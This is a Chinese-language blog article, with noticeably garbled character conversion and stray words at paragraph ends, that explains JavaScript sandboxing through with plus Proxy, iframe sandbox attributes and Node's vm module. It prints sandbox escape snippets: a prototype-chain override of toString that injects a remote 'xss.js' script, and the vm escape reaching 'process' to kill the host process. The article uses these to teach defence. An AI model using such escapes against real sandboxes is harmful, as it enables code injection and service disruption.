說說JS中的沙箱

其實在前端編碼中,或多或少都會接觸到沙箱,可能天真善良的你沒有留意到,又可能,你還並不知道它的真正用途,學會使用沙箱,能夠避免潛在的代碼注入以及未知的安全問題。

前言

沙箱,即sandbox,顧名思義,就是讓你的程序跑在一個隔離的環境下,不對外界的其餘程序形成影響,經過建立相似沙盒的獨立做業環境,在其內部運行的程序並不能對硬盤產生永久性的影響。javascript

舉個簡單的栗子,其實咱們的瀏覽器,Chrome 中的每個標籤頁都是一個沙箱(sandbox)。渲染進程被沙箱(Sandbox)隔離,網頁 web 代碼內容必須經過 IPC 通道才能與瀏覽器內核進程通訊,通訊過程會進行安全的檢查。沙箱設計的目的是爲了讓不可信的代碼運行在必定的環境中,從而限制這些代碼訪問隔離區以外的資源。前端

JS中沙箱的使用場景

前端JS中也會有應用到沙箱的時候,畢竟有時候你要獲取到的是第三方的JS文件或數據?而這數據又是不必定可信的時候,建立沙箱,作好保險工做尤其重要。vue

  • 一、jsonp:解析服務器所返回的jsonp請求時,若是不信任jsonp中的數據,能夠經過建立沙箱的方式來解析獲取數據;(TSW中處理jsonp請求時,建立沙箱來處理和解析數據);
  • 二、執行第三方js:當你又必要執行第三方js的時候,而這份js文件又不必定可信的時候;
  • 三、在線代碼編輯器:相信你們都有使用過一些在線代碼編輯器,而這些代碼的執行,基本都會放置在沙箱中,放置對頁面自己形成影響;(例如:https://codesandbox.io/s/new
  • 四、vue的服務端渲染:vue的服務端渲染實現中,經過建立沙箱執行前端的bundle文件;在調用createBundleRenderer方法時候,容許配置runInNewContext爲true或false的形式,判斷是否傳入一個新建立的sandbox對象以供vm使用;
  • 五、vue模板中表達式計算:vue模板中表達式的計算被放在沙盒中,只能訪問全局變量的一個白名單,如 Math 和 Date 。你不可以在模板表達式中試圖訪問用戶定義的全局變量。

總而言之:當你要解析或執行不可信的JS的時候,當你要隔離被執行代碼的執行環境的時候,當你要對執行代碼中可訪問對象進行限制的時候,沙箱就派上用場了。java

如何實現/使用沙箱

一、new Function + with

  • 一、首先從最簡陋的方法提及,假如你想要經過eval和function直接執行一段代碼,這是不現實的,由於代碼內部能夠沿着做用域鏈往上找,篡改全局變量,這是咱們不但願的,因此你須要讓沙箱內的變量訪問都在你的監控範圍內;不過,你可使用with API,在with的塊級做用域下,變量訪問會優先查找你傳入的參數對象,以後再往上找,因此至關於你變相監控到了代碼中的「變量訪問」:
function compileCode (src) {  
  src = 'with (exposeObj) {' + src + '}'
  return new Function('exposeObj', src) 
}

接下里你要作的是,就是暴露能夠被訪問的變量exposeObj,以及阻斷沙箱內的對外訪問。經過es6提供的proxy特性,能夠獲取到對對象上的全部改寫:node

function compileCode (src) {  
  src = `with (exposeObj) { ${src} }`
  return new Function('exposeObj', src) 
}

function proxyObj(originObj){
    let exposeObj = new Proxy(originObj,{
        has:(target,key)=>{
            if(["console","Math","Date"].indexOf(key)>=0){
                return target[key]
            }
            if(!target.hasOwnProperty(key)){
                throw new Error(`Illegal operation for key ${key}`)
            }
            return target[key]
        },
    })
    return exposeObj
}

function createSandbox(src,obj){
 let proxy = proxyObj(obj)
 compileCode(src).call(proxy,proxy) //綁定this 防止this訪問window
}

經過設置has函數,能夠監聽到變量的訪問,在上述代碼中,僅暴露個別外部變量供代碼訪問,其他不存在的屬性,都會直接拋出error。其實還存在get、set函數,可是若是get和set函數只能攔截到當前對象屬性的操做,對外部變量屬性的讀寫操做沒法監聽到,因此只能使用has函數了。接下來咱們測試一下:es6

const testObj = {
    value:1,
    a:{
        b:{c:1}
    }
}
createSandbox("value='haha';console.log(a)",testObj)

 看起來一切彷佛沒有什麼問題,可是問題出在了傳入的對象,當調用的是console.log(a.b)的時候,has方法是沒法監聽到對b屬性的訪問的,假設所執行的代碼是不可信的,這時候,它只須要經過a.b.__proto__就能夠訪問到Object構造函數的原型對象,再對原型對象進行一些篡改,例如將toString就能影響到外部的代碼邏輯的。web

a.b.__proto__.toString = ()=>{
    var script = document.createElement("script");
    script.src = "http://.../xss.js"
    script.type = "text/javascript";
    document.body.appendChild(script)
}

例如上面所展現的代碼,經過訪問原型鏈的方式,實現了沙箱逃逸,而且篡改了原型鏈上的toString方法,一旦外部的代碼執行了toString方法,就能夠實現xss攻擊,注入第三方代碼,爲何代碼裏能夠訪問document呢?由於這自己是一個函數的賦值操做,並無執行,因此也不存在被has函數攔截了。而當你調用toString的時候,已是在外部的代碼調用了,has函數更加無從知曉。ajax

你可能會想,若是我切斷原型鏈的訪問,是否就杜絕了呢?的確,你能夠經過Object.create(null)的方式,傳入一個不含有原型鏈的對象,而且讓暴露的對象只有一層,不傳入嵌套的對象,可是,即便是基本類型值,數字或字符串,一樣也能夠經過__proto__查找到原型鏈,並且,即便不傳入對象,你還能夠經過下面這種方式繞過:算法

({}).__proto__.toString= ()=>{console.log(111)};

可見,new Function + with的這種沙箱方式,防君子不防小人,固然,你也能夠經過對傳入的code代碼作代碼分析或過濾?假如傳入的代碼不是按照的規定的數據格式(例如json),就直接拋出錯誤,阻止惡意代碼注入,但這始終不是一種安全的作法。json

二、藉助iframe實現沙箱

前面介紹一種劣質的、不怎麼安全的方法構造了一個簡單的沙箱,可是在前端最多見的方法,仍是利用iframe來構造一個沙箱,such as 在線代碼編輯器中:https://codesandbox.io/s/news

這種方式更爲方便、簡單、安全,也是目前比較通用的前端實現沙箱的方案,假如你要執行的代碼不是本身寫的代碼,不是可信的數據源,那麼務必要使用iframe沙箱。sandbox是h5的提出的一個新屬性, 啓用方式就是在iframe標籤中使用sandbox屬性:

<iframe sandbox src="..."></iframe>

可是這也會帶來一些限制:

  1. script腳本不能執行
  2. 不能發送ajax請求
  3. 不能使用本地存儲,即localStorage,cookie等
  4. 不能建立新的彈窗和window
  5. 不能發送表單
  6. 不能加載額外插件好比flash等

不過別方,你能夠對這個iframe標籤進行一些配置:

clipboard.png

接下里你只須要結合postMessage API,將你須要執行的代碼,和須要暴露的數據傳遞過去,而後和你的iframe頁面通訊就好了。

1)不過你須要注意的是,在子頁面中,要注意不要讓執行代碼訪問到contentWindow對象,由於你須要調用contentWindow的postMessageAPI給父頁面傳遞信息,假如惡意代碼也獲取到了contentWindow對象,至關於就拿到了父頁面的控制權了,這個時候可大事不妙。

2)當你使用postMessageAPI的時候,因爲sandbox的origin默認爲null,須要設置allow-same-origin容許兩個頁面進行通訊,意味着子頁面內能夠發起請求,這時候你須要防範好CSRF,容許了同域請求,不過好在,並無攜帶上cookie。

3)當你調用postMessageAPI傳遞數據給子頁面的時候,傳輸的數據對象自己已經經過結構化克隆算法複製,若是你還不瞭解結構化克隆算法能夠查看這個。

簡單的說,經過postMessageAPI傳遞的對象,已經由瀏覽器處理過了,原型鏈已經被切斷,同時,傳過去的對象也是複製好了的,佔用的是不一樣的內存空間,二者互不影響,因此你不須要擔憂出現第一種沙箱作法中出現的問題。

三、nodejs中的沙箱

nodejs中使用沙箱很簡單,只須要利用原生的vm模塊,即可以快速建立沙箱,同時指定上下文。

const vm = require('vm');
const x = 1;
const sandbox = { x: 2 };
vm.createContext(sandbox); // Contextify the sandbox.

const code = 'x += 40; var y = 17;';
vm.runInContext(code, sandbox);

console.log(sandbox.x); // 42
console.log(sandbox.y); // 17

console.log(x); // 1;   y is not defined.

vm中提供了runInNewContext、runInThisContext、runInContext三個方法,三者的用法有個別出入,比較經常使用的是runInNewContext和runInContext,能夠傳入參數指定好上下文對象。

可是vm是絕對安全的嗎?不必定。

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")

 經過上面這段代碼,咱們能夠經過vm,中止掉主進程nodejs,致使程序不能繼續往下執行,這是咱們不但願的,解決方案是綁定好context上下文對象,同時,爲了不經過原型鏈逃逸(nodejs中的對象並無像瀏覽器端同樣進行結構化複製,致使原型鏈依然保留),因此咱們須要切斷原型鏈,同時對於傳入的暴露對象,只提供基本類型值。

let ctx = Object.create(null);
ctx.a = 1; // ctx上不能包含引用類型的屬性
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

 讓咱們來看一下TSW框架中是怎麼使用的:

const vm = require('vm');
const SbFunction = vm.runInNewContext('(Function)', Object.create(null));        // 沙堆
...
if (opt.jsonpCallback) {
    code = `var result=null; var ${opt.jsonpCallback}=function($1){result=$1}; ${responseText}; return result;`;
    obj = new SbFunction(code)();
} 
...

經過runInNewContext返回沙箱中的構造函數Function,同時傳入切斷原型鏈的空對象防止逃逸,以後再外部使用的時候,只須要調用返回的這個函數,和普通的new Function同樣調用便可。

即便這樣,咱們也不能保證這是絕對的安全,畢竟可能還有潛在的沙箱漏洞呢?

總結

即便咱們知道了如何在開發過程當中使用沙箱來讓咱們的執行環境不受影響,可是沙箱也不必定是絕對安全的,畢竟每一年都有那麼多黑客絞盡腦汁鑽研出如何逃出瀏覽器沙箱和nodejs沙箱,因此最安全的作法,是不執行不可信任的第三方JS,不要信任任何用戶數據源,那你的代碼就永遠安全,不會被注入。

出於好奇整理了這篇文章,若有錯誤還望斧正。

clipboard.png

相關文章
相關標籤/搜索